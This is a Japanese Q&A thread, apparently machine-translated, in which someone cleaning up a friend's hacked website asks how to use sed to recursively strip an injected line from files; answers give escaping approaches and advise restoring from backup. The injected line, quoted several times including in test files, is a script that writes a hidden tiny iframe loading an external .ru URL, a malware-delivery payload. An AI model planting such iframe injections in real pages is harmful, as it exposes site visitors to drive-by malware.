sedは、複数の特殊文字を含む文字列を再帰的に見つけて削除します。

sedは、複数の特殊文字を含む文字列を再帰的に見つけて削除します。

複雑な文字列を処理するのに大きな問題があります。友達のサイトがハッキングされ閉鎖されました。しかし、私は残りの混乱を整理するのを手伝っています。

各ディレクトリに再帰し、ファイルの末尾に次の文字列がある場合は、その文字列を削除します。

;document.write('<iframe src="http://efficienttrue.ru/upwherehandpainted.cgi?8" scrolling="auto" frameborder="no" align="center" height="13" width="13"></iframe>');

ご覧のとおり、文字列には一重引用符と二重引用符だけでなく、他の特殊文字も含まれています。各特殊文字の前に\エスケープを追加してみましたが、うまくいかないようです。私はこれを試しました:

grep -rl efficienttrue.ru . | xargs sed -i "s/\;document\.write\(\'\<iframe\ src\=\"http\:\/\/efficienttrue\.ru\/upwherehandpainted\.cgi\?8\"\ scrolling\=\"auto\"\ frameborder\=\"no\"\ align\=\"center\"\ height\=\"13\"\ width\=\"13\"\>\<\/iframe\>\'\)\;/\/g"

ただし、次のエラーが発生します。

sed: -e expression #1, char 201: unterminated `s' command

答え1

次のようなものを探しているようです。

sed '${s/document\.write([^)]*);//}'

ただし、損傷を修復するためにこの手順を使用しないことをお勧めします。

答え2

はい、バックアップから復元する方が良いです。しかし、sedの場合:

sed -i '.bak' -e '$ {\!^;document\.write('\''<iframe src="http://efficienttrue\.ru/upwherehandpainted\.cgi?8" scrolling="auto" frameborder="no" align="center" height="13" width="13"></iframe>'\'');$! d; }' FILENAME

FILENAMEが次のものであるかどうかにかかわらず、これをテストしました\n。ただし、削除される行は常に最後の行($ { ... }

答え3

はい、バックアップが良いです。しかし、交換に固執して面倒な脱出を避けたい場合は、ここに一般的な解決策があります。

  1. 問題のある文字列をファイルに保存し、追加の文字(UTF BOMプレフィックスや行末など)が追加されていないことを確認してください。

    xxd spec-chars.sample
    
  2. 文字列をエスケープされたバイト列に変換

    od -t x1 -v -A n spec-chars.sample | sed s/\ /\\\\x/g | tr -d \\n && echo
    
  3. いくつかのテストケースの作成

    cat spec-chars-positive 
      asdfasdfsd
      ;document.write('<iframe src="http://efficienttrue.ru/upwherehandpainted.cgi?8" scrolling="auto" frameborder="no" align="center" height="13" width="13"></iframe>');
    
    cat spec-chars-negative
      asdfasdfsd
      ;document.write('<iframe src="http://efficienttrue.ru/upwherehandpainted.cgi?8" scrolling="auto" frameborder="no" align="center" height="13" width="13"></iframe>');
      qwer
    
  4. コードが期待どおりに機能していることを確認する

    grep -l efficienttrue spec-chars-* | xargs sed \$s/`od -t x1 -v -A n spec-chars.sample | sed s/\ /\\\\x/g | tr -d \\n`//
    
  5. 実際の交換を行う

    grep -rl efficienttrue.ru . | xargs sed -ibak --follow-symlinks \$s/`od -t x1 -v -A n spec-chars.sample | sed s/\ /\\\\x/g | tr -d \\n`//
    

関連情報